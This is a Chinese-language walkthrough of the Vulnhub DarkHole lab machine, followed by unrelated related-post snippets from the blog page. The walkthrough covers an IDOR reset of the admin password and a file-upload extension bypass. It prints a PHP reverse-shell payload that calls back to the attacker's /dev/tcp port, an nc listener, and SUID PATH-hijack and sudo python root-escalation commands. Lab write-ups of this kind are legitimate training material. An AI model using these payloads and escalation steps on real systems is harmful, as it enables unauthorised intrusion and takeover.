【渗透测试】Vulnhub DarkHole
渗透环境
攻击机: IP: 192.168.216.129(Kali)
靶机: IP:192.168.216.130
靶机下载地址:https://www.vulnhub.com/entry/darkhole-1,724/
进行渗透
一、 获取端口信息
nmap或者arp-scan都能扫除IP,这里就不赘述了。先看看开放了哪些端口。
nmap -O -sV -p- -A 192.168.216.130
开放了22和80端口。
二、 寻找WEB漏洞
访问80端口,出现登录框,并且可以注册账户
注册test账户并登录,登陆后跳转到更改用户信息和密码的页面
猜测这里存在越权修改其他用户密码的漏洞,尝试修改自己的密码并抓包
发现有两个id
,我们新建的用户id为2,那么原有的用户id应该1,尝试将body里的id修改为1,返回修改成功
猜测原来的用户名为admin,密码刚才我们已经成功修改为admin了,尝试登录
登录成功,且该页面有上传功能。经过测试,这里上传文件只对后缀名进行了过滤,当我们上传php
后缀的文件时会失败,但是上传phtml
后缀的文件是可以的。这里可以上传一句话木马用蚁剑进行连接,也可以直接上传反向连接的php代码,我们使用后者。
1.phtml内容如下
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.216.129/4444 0>&1'");?>
让目标主机反向连接192.168.216.129(即攻击机)的4444端口
上传1.phtml,显示上传成功,并返回了上传文件的链接
点击红框中的File,跳转到以下URL
http://192.168.216.130/upload/1.phtml
接下来我们在kali上监听4444端口
nc -nlvp 4444
再次访问:http://192.168.216.130/upload/1.phtml
看到已经成功反弹了shell,当前用户是www-data
三、 提权
查看可以登录/bin/bash
的用户
cat /etc/passwd | grep /bin/bash
当然也可以通过查看/home
目录查看创建的用户
常规思路,查看具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null
发现可疑文件/home/john/toto
,直接执行该文件
观察其输出,不难猜测,该文件调用了id
命令,因此我们可以采用命令劫持的方式进行提权
echo 'chomd +s /bin/bash' > id #在当前文件夹下写一个id文件
chmod 777 id #更改权限
export PATH=/var/www/html/upload:$PATH #将当前路径加入环境变量
/home/john/toto #执行该文件,会调用我们重写的id
执行时发现我们的chmod +s命令发生了权限错误,即我们无法让自己写的id文件拥有SUID权限,那么只能先放弃在这里进行提权,先使用john的身份进行登录
echo '/bin/bash' > id
/home/john/toto
python3 -c 'import pty;pty.spawn("/bin/bash")' #创建交互式shell
看到我们已经以john的身份登录进来了。
在/home/john/
下发现password
文件
得到john用户的密码root123
查看John用户可执行的特权命令
sudo -l
看到John用户可以以root身份运行python3
和file.py
。
因此我们可以尝试修改file.py
的内容
echo "import pty;pty.spawn('/bin/bash')" > file.py
当执行这个py文件时,会打开一个可交互的shell
接下来执行这个文件
sudo python3 /home/john/file.py
在这里有一个坑,当我们使用相对路径时会无法执行,使用绝对路径时才可以,我也不知道为啥
此时我们就已经拿到root权限了,flag在/root
下,渗透结束
【渗透测试】Vulnhub DarkHole的更多相关文章
- [经验分享] OSCP 渗透测试认证
http://f4l13n5n0w.github.io/blog/2015/05/05/jing-yan-fen-xiang-oscp-shen-tou-ce-shi-ren-zheng/ “120天 ...
- Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装
Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装 一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装Virt ...
- Kali Linux Web 渗透测试秘籍 中文版
第一章 配置 Kali Linux 简介 在第一章中,我们会涉及如何准备我们的 Kali 以便能够遵循这本书中的秘籍,并使用虚拟机建立带有存在漏洞的 Web 应用的实验室. 1.1 升级和更新 Kal ...
- 渗透测试工具BurpSuite做网站的安全测试(基础版)
渗透测试工具BurpSuite做网站的安全测试(基础版) 版权声明:本文为博主原创文章,未经博主允许不得转载. 学习网址: https://t0data.gitbooks.io/burpsuite/c ...
- 渗透测试-信息收集-c段收集
平时做渗透测试我比较喜欢用lijiejie 写的 subDomainsBrute来爆破子域名 那么爆破完成后就想收集一下网站的c段信息 下面以平安为例 爆破得到子域名为 i.pingan.com.cn ...
- xss之渗透测试
跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...
- ms08-067漏洞--初识渗透测试--想必很多初学者都会遇到我文中提及的各种问题
最近读了一本书--<<渗透测试实践指南>>,测试了书中的一些例子后,开始拿ms08-067这个经典的严重漏洞练手,实践当中遇到诸多问题,好在一一解决了,获益匪浅. 在谷歌搜索的 ...
- 渗透测试工具Nmap从初级到高级使用教程
本文由阿德马翻译自国外网站,请尊重劳动成果,转载请注明出处,谢谢 Nmap是一款网络扫描和主机检测的非常有用的工具.Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器.它 ...
- chapter1 渗透测试与metasploit
网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...
- Kali Linux渗透测试实战 1.2 环境安装及初始化
1.2 环境安装及初始化 目录(?)[-] 环境安装及初始化 下载映像 安装虚拟机 安装Kali Linux 安装中文输入法 安装VirtualBox增强工具 配置共享目录和剪贴板 运行 Metasp ...
随机推荐
- 【处理元组有关的题型的技巧】codeforces 1677 A. Tokitsukaze and Strange Inequality
题意 第一行输入一个正整数 \(T(1 \leq T \leq 1000)\),代表共有 \(T\) 组测试用例,对于每组测试用例: 第一行输入一个正整数 \(n(4 \leq n \leq 5000 ...
- Mac idea 打不开
从官网上刚下载的idea,安装完成之后,双击打开,只见一闪而过,软件没有打开. 打开 访达->应用程序->IntelliJ IDEA ->显示包内容 : image.png 显示 ...
- 关于Jetson nano (B02)如何部署Yolov8以及一些必要的知识点
一.前言 记录一个简单的安装和部署过程,尽管笔者也是按照教程来的,但奈何参考了很多教程,虽然写的都非常好,但是却很散,因此笔者这里想把这些教程的精华提炼出来,汇总并且写在正文处.还是老规矩,笔者也在学 ...
- Qt/C++音视频开发69-保存监控pcm音频数据到mp4文件/监控录像/录像存储和回放/264/265/aac/pcm等
一.前言 用ffmpeg做音视频保存到mp4文件,都会遇到一个问题,尤其是在视频监控行业,就是监控摄像头设置的音频是PCM/G711A/G711U,解码后对应的格式是pcm_s16be/pcm_ala ...
- Qt编写linux上视频流播放器(支持海康大华宇视等各种网络摄像机)
一.前言 在windows上的视频流播放器有很多,而且各个监控厂家无论大厂还是小厂,基本上都提供了客户端,甚至很多第三方的监控平台软件厂商,也都提供了windows的版本,基本的都没有提供linux版 ...
- Qt编写地图综合应用34-生成区域轮廓图
一.前言 区域轮廓图的前提是,如何拿到这些轮廓的js文件,网络上其实能够找到各省市的轮廓的json数据,这些json数据对应内容是各种边界的一些类似 @@CGIUCACAAAAA@Q@ 字符的东西,每 ...
- 长连接网关技术专题(十一):揭秘腾讯公网TGW网关系统的技术架构演进
本文由腾讯技术团队peter分享,原题"腾讯网关TGW架构演进之路",下文进行了排版和内容优化等. 1.引言 TGW全称Tencent Gateway,是一套实现多网统一接入,支持 ...
- 记录以下uniapp写小程序然后进行图片上传压缩
今天记录一下uniapp写小程序上传图片压缩的功能 首先定义上传图片的方法 然后res.tempFilePath[0]就是图片的临时路径 其次定义压缩图片然后获取压缩后图片大小的方法,方法使用canv ...
- rabbitmq部署及配置与验证-copy
1. 场景描述 朋友项目需要弄个测试环境,稍微帮忙了下,系统不复杂,但是需要自己安装mysql.Reids.Es.RabbitMq等,Mq主要用在同步用户信息与发送站内消息和短信上,RabbitMq以 ...
- Spring Boot 如何使用拦截器、过滤器、监听器
过滤器的使用 首先需要实现 Filter接口然后重写它的三个方法 init 方法:在容器中创建当前过滤器的时候自动调用 destory 方法:在容器中销毁当前过滤器的时候自动调用 doFilter 方 ...